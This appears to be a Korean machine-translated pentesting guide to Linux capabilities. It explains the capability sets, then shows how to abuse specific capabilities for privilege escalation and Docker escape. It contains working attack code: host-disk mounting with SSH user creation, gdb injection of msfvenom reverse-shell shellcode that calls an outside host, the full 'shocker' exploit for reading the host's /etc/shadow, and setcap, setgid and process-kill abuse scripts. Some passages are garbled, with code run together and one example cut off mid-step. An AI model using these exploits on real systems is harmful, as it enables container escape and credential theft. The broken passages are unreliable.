Linux 기능은 루트 권한을 더 작고 구별된 단위로 분할하여 프로세스가 일부 권한을 가질 수 있도록 합니다. 이를 통해 불필요하게 완전한 루트 권한을 부여하지 않아 위험을 최소화할 수 있습니다.
문제:
일반 사용자는 제한된 권한을 가지고 있어 루트 액세스가 필요한 네트워크 소켓 열기와 같은 작업에 영향을 줍니다.
기능 세트:
상속 (CapInh):
목적: 부모 프로세스에서 전달된 기능을 결정합니다.
기능: 새로운 프로세스가 생성될 때 이 세트에서 부모로부터 기능을 상속받습니다. 프로세스 생성 간에 특정 권한을 유지하는 데 유용합니다.
제한 사항: 프로세스는 부모가 가지지 않은 기능을 얻을 수 없습니다.
실제 (CapEff):
목적: 프로세스가 현재 사용하는 실제 기능을 나타냅니다.
기능: 커널이 다양한 작업에 대한 허가를 부여하기 위해 확인하는 기능 세트입니다. 파일의 경우, 이 세트는 파일의 허용된 기능이 실제로 사용되는지 여부를 나타내는 플래그일 수 있습니다.
중요성: 실제 세트는 즉각적인 권한 확인에 중요하며, 프로세스가 사용할 수 있는 활성 기능 세트로 작동합니다.
허용 (CapPrm):
목적: 프로세스가 가질 수 있는 최대 기능 세트를 정의합니다.
기능: 프로세스는 허용된 세트에서 기능을 상승시켜 실제 세트에 추가할 수 있으며, 허용된 세트에서 기능을 삭제할 수도 있습니다.
경계: 이는 프로세스가 미리 정의된 권한 범위를 초과하지 않도록 프로세스가 가질 수 있는 기능의 상한선 역할을 합니다.
바운딩 (CapBnd):
목적: 프로세스가 수명 동안 얻을 수 있는 기능에 한계를 설정합니다.
기능: 프로세스가 상속 가능한 세트 또는 허용된 세트에 특정 기능을 가지고 있더라도, 바운딩 세트에 해당 기능이 포함되어 있지 않으면 해당 기능을 얻을 수 없습니다.
사용 사례: 이 세트는 프로세스의 권한 상승 가능성을 제한하여 추가적인 보안 계층을 추가하는 데 특히 유용합니다.
환경 (CapAmb):
목적: 일반적으로 프로세스의 기능을 완전히 재설정하는 execve 시스템 호출에서 특정 기능을 유지할 수 있게 합니다.
기능: 파일 기능이 없는 비-SUID 프로그램이 특정 권한을 유지할 수 있도록 보장합니다.
제한 사항: 이 세트의 기능은 상속 가능한 세트와 허용된 세트의 제약 조건에 따라 프로세스의 허용된 권한을 초과하지 않도록 보장합니다.
# Code to demonstrate the interaction of different capability sets might look like this:# Note: This is pseudo-code for illustrative purposes only.defmanage_capabilities(process):if process.has_capability('cap_setpcap'):process.add_capability_to_set('CapPrm', 'new_capability')process.limit_capabilities('CapBnd')process.preserve_capabilities_across_execve('CapAmb')
특정 프로세스의 기능을 확인하려면 /proc 디렉토리의 status 파일을 사용하십시오. Linux 기능과 관련된 정보에만 초점을 맞추기 위해 더 많은 세부 정보를 제공합니다.
모든 실행 중인 프로세스에 대해 기능 정보는 스레드별로 유지되며, 파일 시스템의 이진 파일에 대해서는 확장 속성에 저장됩니다.
기능은 /usr/include/linux/capability.h에서 정의된 것을 찾을 수 있습니다.
현재 프로세스의 기능은 cat /proc/self/status 또는 capsh --print를 사용하여 찾을 수 있으며, 다른 사용자의 기능은 /proc/<pid>/status에서 찾을 수 있습니다.
cat/proc/1234/status|grepCapcat/proc/$$/status|grepCap#This will print the capabilities of the current process
다음 명령은 대부분의 시스템에서 5개의 줄을 반환해야 합니다.
CapInh = 상속된 권한
CapPrm = 허용된 권한
CapEff = 유효한 권한
CapBnd = 바운딩 세트
CapAmb = 환경 권한 세트
#These are the typical capabilities of a root owned process (all)CapInh:0000000000000000CapPrm:0000003fffffffffCapEff:0000003fffffffffCapBnd:0000003fffffffffCapAmb:0000000000000000
이 16진수 숫자들은 의미가 없습니다. capsh 유틸리티를 사용하여 이를 능력(capabilities) 이름으로 디코딩할 수 있습니다.
As we can see, tcpdump has been granted the cap_net_admin and cap_net_raw capabilities. These capabilities allow the binary to perform network sniffing operations.
#The following command give tcpdump the needed capabilities to sniff traffic$setcapcap_net_raw,cap_net_admin=eip/usr/sbin/tcpdump$getpcaps9562Capabilitiesfor`9562': = cap_net_admin,cap_net_raw+ep$ cat /proc/9562/status | grep CapCapInh: 0000000000000000CapPrm: 0000000000003000CapEff: 0000000000003000CapBnd: 0000003fffffffffCapAmb: 0000000000000000$ capsh --decode=00000000000030000x0000000000003000=cap_net_admin,cap_net_raw
주어진 기능은 이진 파일의 기능과 일치합니다.
getpcaps 도구는 capget() 시스템 호출을 사용하여 특정 스레드에 대한 사용 가능한 기능을 조회합니다. 이 시스템 호출은 PID만 제공하면 더 많은 정보를 얻을 수 있습니다.
이진 파일의 기능
이진 파일은 실행 중에 사용할 수 있는 기능을 가질 수 있습니다. 예를 들어, ping 이진 파일에는 cap_net_raw 기능이 매우 일반적으로 포함되어 있습니다:
getcap/usr/bin/ping/usr/bin/ping=cap_net_raw+ep
다음을 사용하여 기능을 가진 이진 파일을 검색할 수 있습니다:
getcap-r/2>/dev/null
capsh를 사용하여 권한을 제거하기
CAP_NET_RAW 권한을 _ping_에서 제거하면 ping 유틸리티가 더 이상 작동하지 않아야 합니다.
capsh--drop=cap_net_raw--print---c"tcpdump"
제외하고 capsh 자체의 출력물 외에도 tcpdump 명령 자체도 오류를 발생시켜야 합니다.
/bin/bash: /usr/sbin/tcpdump: Operation not permitted
이 오류는 ping 명령이 ICMP 소켓을 열 수 없도록 허용되지 않았음을 명확히 보여줍니다. 이제 우리는 이것이 예상대로 작동한다는 것을 확실히 알게 되었습니다.
권한 제거
바이너리의 권한을 제거할 수 있습니다.
setcap-r</path/to/binary>
사용자 권한
사용자에게 권한을 할당하는 것도 가능한 것 같습니다. 이는 아마도 사용자가 실행하는 모든 프로세스가 사용자의 권한을 사용할 수 있음을 의미할 것입니다.
이, 이 및 이를 기반으로 특정 사용자에게 권한을 부여하기 위해 몇 가지 파일을 구성해야 합니다. 그러나 각 사용자에게 권한을 할당하는 파일은 /etc/security/capability.conf입니다.
파일 예시:
# Simplecap_sys_ptracedevelopercap_net_rawuser1# Multiple capablitiescap_net_admin,cap_net_rawjrnetadmin# Identical, but with numeric values12,13jrnetadmin# Combining names and numericscap_sys_admin,22,25jrsysadmin
환경 Capabilities
다음 프로그램을 컴파일하면 capabilities을 제공하는 환경에서 bash 쉘을 실행할 수 있습니다.
ambient.c
/** Test program for the ambient capabilities** compile using:* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c* Set effective, inherited and permitted capabilities to the compiled binary* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient** To get a shell with additional caps that can be inherited do:** ./ambient /bin/bash*/#include<stdlib.h>#include<stdio.h>#include<string.h>#include<errno.h>#include<sys/prctl.h>#include<linux/capability.h>#include<cap-ng.h>staticvoidset_ambient_cap(int cap) {int rc;capng_get_caps_process();rc =capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);if (rc) {printf("Cannot add inheritable cap\n");exit(2);}capng_apply(CAPNG_SELECT_CAPS);/* Note the two 0s at the end. Kernel checks for these */if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap,0,0)) {perror("Cannot set cap");exit(1);}}voidusage(constchar* me) {printf("Usage: %s [-c caps] new-program new-args\n", me);exit(1);}int default_caplist[]= {CAP_NET_RAW,CAP_NET_ADMIN,CAP_SYS_NICE,-1};int*get_caplist(constchar* arg) {int i =1;int* list =NULL;char* dup =strdup(arg),* tok;for (tok =strtok(dup,","); tok; tok =strtok(NULL,",")) {list =realloc(list, (i +1) *sizeof(int));if (!list) {perror("out of memory");exit(1);}list[i -1] =atoi(tok);list[i] =-1;i++;}return list;}intmain(int argc,char** argv) {int rc, i, gotcaps =0;int* caplist =NULL;int index =1; // argv index for cmd to startif (argc <2)usage(argv[0]);if (strcmp(argv[1],"-c")==0) {if (argc <=3) {usage(argv[0]);}caplist =get_caplist(argv[2]);index =3;}if (!caplist) {caplist = (int* ) default_caplist;}for (i =0; caplist[i] !=-1; i++) {printf("adding %d to ambient list\n", caplist[i]);set_ambient_cap(caplist[i]);}printf("Ambient forking shell\n");if (execv(argv[index], argv + index))perror("Cannot exec");return0;}
모든 사용자가 패킷을 스니핑할 수 있도록tcpdump에 필요한 기능(Capabilities):
To allow any user to sniff packets using `tcpdump`, the following capabilities need to be granted:1. `CAP_NET_RAW`: This capability allows the user to create raw sockets, which is necessary for packet sniffing.To grant these capabilities to `tcpdump`, you can use the `setcap` command as follows:```bashsudosetcapcap_net_raw=eip/usr/sbin/tcpdump
After granting the necessary capabilities, any user will be able to run tcpdump and sniff packets without requiring root privileges.
tcpdump를 사용하여 모든 사용자가 패킷을 스니핑할 수 있도록 하려면 다음 기능(Capabilities)을 부여해야 합니다:
CAP_NET_RAW: 이 기능은 사용자가 패킷 스니핑에 필요한 raw 소켓을 생성할 수 있도록 합니다.
이러한 기능(Capabilities)을 tcpdump에 부여하려면 다음과 같이 setcap 명령을 사용할 수 있습니다:
sudosetcapcap_net_raw=eip/usr/sbin/tcpdump
필요한 기능(Capabilities)을 부여한 후에는 어떤 사용자든 tcpdump를 실행하고 root 권한이 필요하지 않고 패킷을 스니핑할 수 있게 됩니다.
문서에서 알 수 있듯이, 프로그램 파일에 빈 권한 집합을 할당할 수 있으며, 이로 인해 실행하는 프로세스의 effective 및 saved set-user-ID를 0으로 변경하지만 해당 프로세스에 어떠한 권한도 부여하지 않을 수 있습니다. 즉, 다음과 같은 이진 파일이 있는 경우:
root가 소유하지 않은 경우
SUID/SGID 비트가 설정되지 않은 경우
권한이 비어 있는 경우 (예: getcap myelf가 myelf =ep를 반환하는 경우)
그 이진 파일은 root로 실행됩니다.
CAP_SYS_ADMIN
**CAP_SYS_ADMIN**은 매우 강력한 Linux 권한으로, 장치를 마운트하거나 커널 기능을 조작하는 등의 관리 권한을 가지고 있어 거의 root 수준으로 간주됩니다. 전체 시스템을 시뮬레이션하는 컨테이너에서 필수적이지만, CAP_SYS_ADMIN은 권한 상승과 시스템 침해 가능성이 크기 때문에 컨테이너 환경에서는 중요한 보안 도전 과제를 제공합니다. 따라서, 이 권한의 사용은 엄격한 보안 평가와 조심스러운 관리를 필요로 하며, 최소 권한 원칙을 준수하고 공격 표면을 최소화하기 위해 응용 프로그램별 컨테이너에서 이 권한을 제거하는 것이 강력히 권장됩니다.
파이썬을 사용하여 실제 passwd 파일 위에 수정된 passwd 파일을 마운트할 수 있습니다:
cp/etc/passwd./#Create a copy of the passwd fileopensslpasswd-1-saltabcpassword#Get hash of "password"vim./passwd#Change roots passwords of the fake passwd file
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
이전 출력에서 SYS_ADMIN 기능이 활성화되어 있는 것을 확인할 수 있습니다.
마운트
이를 통해 도커 컨테이너가 호스트 디스크를 마운트하고 자유롭게 액세스할 수 있습니다:
fdisk-l#Get disk nameDisk/dev/sda:4GiB,4294967296bytes,8388608sectorsUnits:sectorsof1*512=512bytesSectorsize (logical/physical): 512 bytes / 512 bytesI/Osize (minimum/optimal): 512 bytes / 512 bytesmount/dev/sda/mnt/#Mount itcd/mntchroot./bash#You have a shell inside the docker hosts disk
전체 액세스
이전 방법에서는 도커 호스트 디스크에 액세스할 수 있었습니다. 호스트가 ssh 서버를 실행 중인 경우, 도커 호스트 디스크 내에서 사용자를 생성하고 SSH를 통해 액세스할 수 있습니다:
#Like in the example before, the first step is to mount the docker host diskfdisk-lmount/dev/sda/mnt/#Then, search for open ports inside the docker hostnc-v-n-w2-z172.17.0.11-65535(UNKNOWN) [172.17.0.1] 2222 (?) open#Finally, create a new user inside the docker host and use it to access via SSHchroot/mnt/adduserjohnsshjohn@172.17.0.1-p2222
CAP_SYS_PTRACE
이는 호스트 내에서 실행 중인 프로세스 내부에 셸코드를 삽입하여 컨테이너를 탈출할 수 있다는 것을 의미합니다. 호스트 내에서 실행 중인 프로세스에 액세스하기 위해 컨테이너는 적어도 **--pid=host**와 함께 실행되어야 합니다.
**CAP_SYS_PTRACE**는 ptrace(2) 및 process_vm_readv(2), process_vm_writev(2)와 같은 크로스 메모리 첨부 호출과 같은 디버깅 및 시스템 호출 추적 기능을 사용할 수 있는 능력을 부여합니다. 진단 및 모니터링 목적으로 강력하지만, CAP_SYS_PTRACE가 ptrace(2)에 대한 seccomp 필터와 같은 제한적인 조치 없이 활성화된 경우 시스템 보안을 심각하게 약화시킬 수 있습니다. 특히, 이와 같은 증명 (PoC)을 통해 시연된 것처럼, 다른 보안 제한, 특히 seccomp에 의해 부과된 제한을 우회하는 데 악용될 수 있습니다.
set disassembly-flavor intel 명령은 어셈블리 코드를 Intel 구문으로 표시하도록 설정합니다.
b main 명령은 main 함수에 중단점을 설정합니다.
r 명령은 프로그램을 실행합니다.
p system 명령은 system 함수의 주소를 확인합니다.
<address>에는 system 함수의 주소를 입력합니다.
set {int}($esp) = <address> 명령은 스택의 맨 위에 system 함수의 주소를 설정합니다.
c 명령은 프로그램을 계속 실행하여 쉘코드를 실행합니다.
이제 쉘코드가 메모리에 주입되어 실행됩니다.
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.pybuf =b""buf +=b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"buf +=b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"buf +=b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"buf +=b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"buf +=b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"buf +=b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"buf +=b"\x0f\x05"# Divisible by 8payload =b"\x90"* (8-len(buf)%8 ) + buf# Change endianess and print gdb lines to load the shellcode in RIP directlyfor i inrange(0, len(buf), 8):chunk = payload[i:i+8][::-1]chunks ="0x"for byte in chunk:chunks +=f"{byte:02x}"print(f"set {{long}}($rip+{i}) = {chunks}")
루트 프로세스를 gdb로 디버깅하고 이전에 생성된 gdb 라인을 복사하여 붙여넣으세요:
$gdb-p<pid>(gdb) set follow-fork-mode child(gdb) set detach-on-fork off(gdb) catch exec(gdb) run
$gdb-p<pid>(gdb) set follow-fork-mode child(gdb) set detach-on-fork off(gdb) catch exec(gdb) run
# In this case there was a sleep run by root## NOTE that the process you abuse will die after the shellcode/usr/bin/gdb-p$(pgrepsleep)[...](gdb) set {long}($rip+0) = 0x296a909090909090(gdb) set {long}($rip+8) = 0x5e016a5f026a9958(gdb) set {long}($rip+16) = 0x0002b9489748050f(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923(gdb) set {long}($rip+32) = 0x582a6a5a106ae689(gdb) set {long}($rip+40) = 0xceff485e036a050f(gdb) set {long}($rip+48) = 0x6af675050f58216a(gdb) set {long}($rip+56) = 0x69622fbb4899583b(gdb) set {long}($rip+64) = 0x8948530068732f6e(gdb) set {long}($rip+72) = 0x050fe689485752e7(gdb) cContinuing.process207009isexecutingnewprogram:/usr/bin/dash[...]
환경 예시 (Docker 탈출) - 다른 gdb 남용
만약 GDB가 설치되어 있다면 (또는 apk add gdb 또는 apt install gdb와 같은 명령으로 설치할 수 있음), 호스트에서 프로세스를 디버깅하고 system 함수를 호출하게 할 수 있습니다. (이 기술은 또한 SYS_ADMIN 능력이 필요합니다).
명령이 실행되지만 해당 프로세스에서 출력을 볼 수는 없습니다 (따라서 rev 쉘을 얻을 수 있습니다).
"현재 컨텍스트에서 'system' 기호를 찾을 수 없습니다."라는 오류가 발생하면 이전 예제에서 gdb를 통해 프로그램에 쉘코드를 로드하는 것을 확인하세요.
환경을 사용한 예제 (도커 탈출) - 쉘코드 삽입
도커 컨테이너 내에서 활성화된 기능을 확인할 수 있습니다.
capsh--printCurrent: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits:00/0x0/1'b0secure-noroot: no (unlocked)secure-no-suid-fixup: no (unlocked)secure-keep-caps: no (unlocked)uid=0(root)gid=0(root)groups=0(root
**CAP_SYS_MODULE**은 프로세스가 커널 모듈을 로드하고 언로드(init_module(2), finit_module(2) 및 delete_module(2) 시스템 호출)할 수 있는 권한을 제공합니다. 이는 커널의 핵심 작업에 직접 액세스할 수 있게 해주는데, 이는 권한 상승과 전체 시스템 침투를 가능하게 합니다. 이로 인해 Linux 보안 메커니즘, Linux Security Modules 및 컨테이너 격리를 포함한 모든 Linux 보안 메커니즘을 우회할 수 있습니다. 즉, 호스트 머신의 커널에 커널 모듈을 삽입/제거할 수 있습니다.
CAP_DAC_READ_SEARCH는 프로세스가 파일을 읽고 디렉토리를 읽고 실행하기 위한 권한 검사를 우회할 수 있게 합니다. 주로 파일 검색이나 읽기 목적으로 사용됩니다. 그러나 이 기능은 또한 프로세스가 open_by_handle_at(2) 함수를 사용할 수 있게 하여 프로세스의 마운트 네임스페이스 외부의 파일을 포함하여 모든 파일에 액세스할 수 있습니다. open_by_handle_at(2)에서 사용되는 핸들은 name_to_handle_at(2)를 통해 얻은 투명하지 않은 식별자여야 하지만, 조작에 취약한 inode 번호와 같은 민감한 정보를 포함할 수 있습니다. 특히 Docker 컨테이너의 문맥에서 이 기능을 악용할 수 있는 가능성은 Sebastian Krahmer에 의해 shocker exploit으로 증명되었으며, 여기에서 분석되었습니다. 즉, 파일 읽기 권한 검사 및 디렉토리 읽기/실행 권한 검사를 우회할 수 있습니다.
바이너리를 사용한 예제
바이너리는 모든 파일을 읽을 수 있습니다. 따라서 tar와 같은 파일이 이 기능을 가지고 있다면 shadow 파일을 읽을 수 있습니다:
cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz
binary2 예시
이 경우에는 python 바이너리가 이 능력을 가지고 있다고 가정해 봅시다. 루트 파일을 나열하기 위해서는 다음과 같이 할 수 있습니다:
import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)
그리고 파일을 읽기 위해서는 다음을 수행할 수 있습니다:
print(open("/etc/shadow", "r").read())
환경 예시 (Docker 탈출)
다음을 사용하여 도커 컨테이너 내에서 활성화된 기능을 확인할 수 있습니다:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
이전 출력에서는 DAC_READ_SEARCH 능력이 활성화되어 있음을 확인할 수 있습니다. 결과적으로 컨테이너는 프로세스 디버깅을 할 수 있습니다.
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
printf("Success!!\n");
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
해당 exploit은 호스트에 마운트된 파일에 대한 포인터를 찾아야 합니다. 원래 exploit은 /.dockerinit 파일을 사용했으며, 이 수정된 버전은 /etc/hostname을 사용합니다. exploit이 작동하지 않는다면 다른 파일을 설정해야 할 수도 있습니다. 호스트에 마운트된 파일을 찾으려면 mount 명령을 실행하십시오:
이 경우에는 그룹이 읽을 수 있는 흥미로운 파일을 찾아야 합니다. 왜냐하면 어떤 그룹이든지 가장할 수 있기 때문입니다:
#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
한 번 파일을 찾았다면 (읽기 또는 쓰기를 통해) 권한 상승을 위해 흥미로운 그룹을 표현하는 쉘을 얻을 수 있습니다. 다음과 같이 하면 됩니다:
import os
os.setgid(42)
os.system("/bin/bash")
이 경우 그룹 shadow가 위장되어 파일 /etc/shadow를 읽을 수 있습니다:
cat /etc/shadow
만약 도커가 설치되어 있다면, 도커 그룹을 사칭하여 도커 소켓과 권한 상승을 악용할 수 있습니다.
CAP_SETFCAP
이는 파일과 프로세스에 권한을 설정할 수 있다는 것을 의미합니다.
바이너리 예시
만약 파이썬이 이 권한을 가지고 있다면, 권한 상승을 위해 아주 쉽게 악용할 수 있습니다:
setcapability.py
import ctypes, sys
#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)
if(status == 0):
print (cap + " was successfully added to " + path)
python setcapability.py /usr/bin/python2.7
새로운 기능을 CAP_SETFCAP으로 이진 파일에 설정하면이 기능을 잃게됩니다.
SETUID 기능을 얻으면 권한 상승 방법을 확인하기 위해 해당 섹션으로 이동할 수 있습니다.
환경 예시 (Docker 탈출)
기본적으로 Docker 컨테이너 내부의 프로세스에는 CAP_SETFCAP 기능이 부여됩니다. 다음과 같이 확인할 수 있습니다:
이 능력은 이진 파일에 다른 모든 능력을 부여할 수 있게 해줍니다. 따라서 이 페이지에서 언급된 다른 능력 탈출 중 하나를 이용하여 컨테이너를 탈출할 수 있습니다.
그러나 예를 들어 gdb 이진 파일에 CAP_SYS_ADMIN 및 CAP_SYS_PTRACE 능력을 부여하려고 하면, 이 능력을 부여할 수는 있지만, 이후에는 이진 파일을 실행할 수 없게 됩니다.
문서에서: Permitted: 이것은 스레드가 가질 수 있는 유효한 기능의 제한된 상위 집합입니다. 이것은 또한 CAP_SETPCAP 기능을 유효한 집합에 가지고 있지 않은 스레드가 상속 가능한 집합에 추가할 수 있는 기능의 제한된 상위 집합입니다.
Permitted 기능은 사용할 수 있는 기능을 제한하는 것 같습니다.
그러나 Docker는 기본적으로 CAP_SETPCAP도 부여하므로 상속 가능한 기능 내에 새로운 기능을 설정할 수 있을 수도 있습니다.
그러나 이 기능의 문서에서는 다음과 같이 설명하고 있습니다. CAP_SETPCAP : [...] 호출 스레드의 bounding 집합에서 상속 가능한 집합으로 어떤 기능이든 추가합니다.
상속 가능한 집합에는 bounding 집합에서만 기능을 추가할 수 있다는 것을 의미합니다. 즉, CAP_SYS_ADMIN 또는 CAP_SYS_PTRACE와 같은 새로운 기능을 상속 집합에 추가하여 권한 상승을 할 수는 없습니다.
CAP_SYS_RAWIO
CAP_SYS_RAWIO는 /dev/mem, /dev/kmem 또는 /proc/kcore에 대한 액세스, mmap_min_addr 수정, ioperm(2) 및 iopl(2) 시스템 호출 액세스, 그리고 다양한 디스크 명령을 포함한 여러 민감한 작업을 제공합니다. 이 기능을 통해 FIBMAP ioctl(2)도 활성화되며, 이로 인해 과거에 문제가 발생한 적이 있습니다. 매뉴얼 페이지에 따르면, 이 기능은 홀더가 다른 장치에 대해 기기별 작업을 수행할 수 있도록 합니다.
이는 권한 상승과 Docker 탈출에 유용할 수 있습니다.
CAP_KILL
이는 어떤 프로세스든 종료할 수 있는 가능성을 의미합니다.
바이너리 예제
예를 들어, python 바이너리가 이 기능을 가지고 있다고 가정해 봅시다. 만약 일부 서비스 또는 소켓 구성(또는 서비스와 관련된 구성 파일) 파일을 수정할 수 있다면, 해당 서비스와 관련된 프로세스를 백도어로 만들고, 해당 서비스의 새로운 구성 파일이 실행될 때까지 해당 프로세스를 종료할 수 있습니다.
#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
kill을 사용한 권한 상승
만약 kill 기능을 가지고 있고 루트로 실행 중인 노드 프로그램 (또는 다른 사용자로 실행 중인)이 있다면, 신호 SIGUSR1을 보내어 노드 디버거를 열 수 있으며, 여기에 연결할 수 있을 것입니다.
kill -s SIGUSR1 <nodejs-ps>
